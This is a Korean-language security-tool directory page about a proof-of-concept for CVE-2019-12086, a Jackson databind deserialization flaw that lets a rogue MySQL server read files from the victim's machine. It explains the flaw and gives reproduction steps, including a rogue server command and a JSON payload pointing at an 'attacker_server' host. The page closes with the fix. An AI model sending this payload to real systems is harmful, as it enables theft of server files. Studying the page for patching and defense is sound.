Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-12086-jackson-databind-file-read — CVE-2019-12086에 대한 개념 증명 익스플로잇: Default Typing이 활성화된 경우, 악의적인 MySQL 서버를 통해 임의 파일 읽기를 가능하게 하는 Jackson databind 역직렬화 취약점. | Kitploit
도구/GitHubGitHub/motoyasu-saburi/cve-2019-12086-jackson-databind-file-read
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubmotoyasu-saburi/cve-2019-12086-jackson-databind-file-read

CVE-2019-12086-jackson-databind-file-read

CVE-2019-12086에 대한 개념 증명 익스플로잇: Default Typing이 활성화된 경우, 악의적인 MySQL 서버를 통해 임의 파일 읽기를 가능하게 하는 Jackson databind 역직렬화 취약점.

저장소 보기
12117년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

jackson-CVE-2019-12086

취약점 설명

Default Typing이 활성화된 상태에서, classpath에 mysql-connector-java 8.0.15 버전(2019.2.1 출시) 이하가 존재하는 경우, 공격자는 악의적인 JSON 데이터를 전송하여 임의의 파일을 읽을 수 있습니다. mysql-connector-java 라이브러리는 데이터베이스 연결 시 일반적으로 사용되는 MySQL JDBC입니다.

CVE 설명은 다음과 같습니다:

A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.

취약점 분석

  1. Default Typing이 활성화된 경우, Jackson이 JSON을 역직렬화할 때 지정된 클래스를 역직렬화할 수 있으며, 기본 타입의 값을 해당 클래스 생성자의 매개변수 값으로 지정할 수 있습니다.
  2. com.mysql.cj.jdbc.admin.MiniAdmin의 생성자는 jdbcURL을 나타내는 문자열 값을 받습니다. com.mysql.cj.jdbc.admin.MiniAdmin 클래스는 초기화 시 이 jdbcURL에 지정된 MySQL 데이터베이스에 연결합니다.
  3. mysql-connector-java 8.0.15 버전(2019.2.1 출시) 이하에서 악의적인 MySQL 서버는 MySQL 클라이언트의 임의의 로컬 파일을 읽을 수 있어 취약점이 발생합니다.

취약점 재현

  1. 악의적인 MySQL 서버 시작: https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

python rogue_mysql_server.py

  1. 동일한 디렉토리에서 mysql.log 확인:

tail -f mysql.log

  1. 취약한 애플리케이션에 다음 JSON 전송:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

  1. Jackson이 악의적인 JSON 문자열을 역직렬화하면 악의적인 MySQL 서버에 연결되며, 읽힌 파일의 내용이 악의적인 서버의 mysql.log에 기록됩니다.
root@kitploit:~
# edit IP & Port at the payload  "./volume/src/main/java/poc/Main.java".
$ docker build . 

취약점 수정

Jackson을 2.9.9 이상으로 업그레이드하십시오.

도구 다운로드